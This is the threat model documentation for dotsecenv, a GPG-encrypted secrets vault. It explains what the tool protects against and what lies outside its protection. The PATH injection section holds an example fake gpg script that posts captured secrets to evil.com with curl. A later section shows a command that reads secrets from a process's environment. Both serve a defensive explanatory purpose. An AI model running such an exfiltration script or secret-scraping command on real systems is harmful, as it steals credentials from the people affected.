Threat Model

This document describes what threats dotsecenv protects against and its security boundaries. For details on the cryptographic mechanisms, see the Security Model.

What dotsecenv Protects Against

Accidental Git Commits

The primary threat model. Secrets are encrypted in the vault file, so committing it doesn’t expose plaintext.

git add vault   # Safe—secrets are encrypted
git push        # Only encrypted blobs pushed

An attacker who obtains the vault file cannot read secrets without the private keys.

Unauthorized File Access

If someone accesses your filesystem (backup, shared drive, stolen laptop), they see only:

• Encrypted vault entries
• Public key metadata (fingerprints, UIDs)
• Timestamps

No plaintext secrets.

Tampering

Every vault entry includes a cryptographic signature. If someone modifies an entry:

dotsecenv validate
# Error: signature verification failed for entry 42

The signature is created with the originator’s private key, so:

• You know who created each entry
• You can detect modifications
• There’s non-repudiation for audits

Algorithm Downgrade

The config file specifies minimum algorithm requirements:

approved_algorithms:
  - rsa:3072
  - ecdsa:p384
  - eddsa:ed25519

dotsecenv refuses to encrypt/decrypt with weaker algorithms.

SUID Privilege Escalation

In SUID mode, dotsecenv blocks write operations to prevent privilege escalation attacks. Read operations only.

Automated Secret Exfiltration

AI coding assistants, build scripts, and other automated tools may attempt to read secrets programmatically. dotsecenv emits a warning when decrypting secrets in non-interactive terminals:

warning: decrypting in non-interactive terminal; for better security, configure GPG to require passphrase entry (https://dotsecenv.com/concepts/threat-model/#automated-secret-exfiltration)

Not a Security Boundary

This warning is for awareness only—dotsecenv does not block non-TTY access. TTY detection is trivially bypassed by attackers with code execution (e.g., using script, unbuffer, or allocating a PTY programmatically).

An attacker can also bypass dotsecenv entirely by discovering your GPG key fingerprint from the vault and calling GPG directly.

The only robust defense against automated local secret exfiltration is user presence verification via GPG pinentry. Configure your GPG agent to never cache your passphrase:

~/.gnupg/gpg-agent.conf

default-cache-ttl 0
max-cache-ttl 0

This forces manual passphrase entry for every decryption operation, which automated tools cannot provide without higher privileges (e.g., root access or window server access to inject keystrokes).

Protecting .secenv Files

To protect secrets stored in .secenv files from unauthorized decryption:

1. Use the shell plugin to decrypt secrets only when entering the directory.

This ensures secrets are kept in environment variables (memory) rather than decrypted to disk. While effectively mitigating file theft, note that this is still vulnerable to Environment Snooping if an attacker has root/process access.

PATH Injection Attacks

dotsecenv supports configuring an absolute path to the GPG executable via gpg.program. This provides several security benefits:

Why Absolute Paths Matter

When GPG is resolved via PATH, an attacker who can influence the PATH environment variable can redirect all cryptographic operations to a malicious binary:

# Attacker prepends malicious directory to PATH
export PATH=/tmp/evil:$PATH

# Creates fake gpg that steals secrets
cat > /tmp/evil/gpg << 'EOF'
#!/bin/bash
# Log all arguments and stdin to attacker
curl -X POST https://evil.com/steal -d "$(cat)"
# Then call real gpg to avoid detection
/usr/bin/gpg "$@"
EOF
chmod +x /tmp/evil/gpg

# Now dotsecenv unknowingly uses the malicious gpg
dotsecenv secret get DATABASE_PASSWORD  # Secrets exfiltrated!

With an absolute path configured, this attack fails:

gpg:
  program: /usr/bin/gpg # Always uses this exact binary

Security Benefits

Benefit	Description
PATH injection prevention	Attackers cannot redirect GPG operations by modifying PATH, shell configs, or placing malicious binaries earlier in the search path
Deterministic execution	The same binary executes regardless of shell configuration, environment state, or current working directory
Multi-version isolation	Systems with multiple GPG installations (Homebrew, system, MacPorts) always use the explicitly configured version
Audit compliance	Security teams can verify exactly which binary handles cryptographic operations
Container safety	Works reliably in containers where PATH may be minimal or misconfigured
CI/CD reproducibility	Different runners with different PATH configurations still use the same GPG binary

Wrapper Script Support

An absolute path can point to a wrapper script for additional security controls:

/usr/local/bin/gpg-audited

#!/bin/bash
# Wrapper that logs all GPG operations

LOG_FILE="/var/log/gpg-audit.log"
echo "$(date -Iseconds) USER=$USER CMD=gpg ARGS=$*" >> "$LOG_FILE"

# Optional: Block dangerous operations
if [[ "$*" == *"--delete-key"* ]]; then
    echo "Error: Key deletion blocked by policy" >&2
    exit 1
fi

exec /usr/bin/gpg "$@"

gpg:
  program: /usr/local/bin/gpg-audited

This enables:

• Audit logging of all cryptographic operations
• Policy enforcement (block certain operations)
• Integration with hardware security modules (HSMs)
• Rate limiting to prevent abuse

Explicit GPG Path Configuration

For security-sensitive environments, configure an explicit gpg.program path:

gpg:
  program: /usr/bin/gpg # Explicit path recommended

This prevents accidental reliance on PATH resolution.

Tip

For maximum security, always configure gpg.program with an absolute path, especially in production, CI/CD, and multi-user environments.

---

What dotsecenv Does NOT Protect Against

Security boundaries

No tool provides absolute security. Understanding these limits is essential.

Root/Admin Access

An attacker with root access to your system can:

• Read process memory
• Intercept GPG passphrase entry
• Access decrypted secrets in environment variables
• Attach debuggers to running processes

Mitigation: Full-disk encryption, secure boot, hardware security modules (HSMs).

Compromised Private Key

If your GPG private key is stolen, the attacker can:

• Decrypt any secret encrypted to your key
• Impersonate you (create signatures)
• Access historical vault entries

Mitigation: Strong passphrase, hardware tokens (YubiKey), key rotation.

Environment Snooping

Once a secret is decrypted and set as an environment variable, any process can read it:

# Other processes can see this
cat /proc/$$/environ | tr '\0' '\n' | grep SECRET

Mitigation: Minimal scope, process isolation, containers.

Side-Channel Attacks

Timing attacks, cache attacks, and other side-channel techniques are out of scope:

• Requires specialized hardware/software
• Mitigated at the GPG/OpenSSL layer
• Defense in depth with secure infrastructure

Quantum Attacks

Current public-key cryptography (RSA, ECC) is vulnerable to quantum computers:

• Shor’s algorithm breaks RSA/ECC
• AES-256 remains strong (Grover’s algorithm halves effective key size)

Mitigation: GPG is working on post-quantum algorithms. When available, dotsecenv will support them.

Time-Tampering

dotsecenv trusts the system clock. Timestamps in vault entries can be manipulated by setting system time before storage.

This is acceptable because:

• Attackers can’t modify existing entries (signatures prevent this)
• Consumers can choose to trust/distrust specific fingerprints
• The primary use case is developer workflows, not forensic timestamping

---

Vault Safety in Public Repositories

The vault is designed to be safe in public repositories:

• All secrets encrypted with AES-256-GCM
• Session keys protected by GPG public-key encryption
• No plaintext secrets in any entry
• Public keys and fingerprints are not sensitive

However, defense in depth recommends:

• Private repositories when possible
• Access control at repository level
• Regular key rotation

Caution

The security of your vault depends on: 1. Strength of GPG keys (use 4096-bit RSA or ECC) 2. Security of private key storage (passphrase, hardware token) 3. Not sharing private keys

---

Summary

Threat	Protected?	Notes
Git exposure	Yes	Encrypted at rest
File theft	Yes	Requires private key
Tampering	Yes	Signature verification
Weak algorithms	Yes	Config-enforced minimums
PATH injection	Yes	Configure absolute gpg.program path
Stealth network egress	Yes	Hermetic e2e with dual verification
Automated exfiltration	Partial	pinentry (disable gpg-agent cache)
Root access	No	OS-level compromise
Key theft	No	Guard your private key
Env snooping	No	Post-decryption risk
Quantum	No	Future GPG update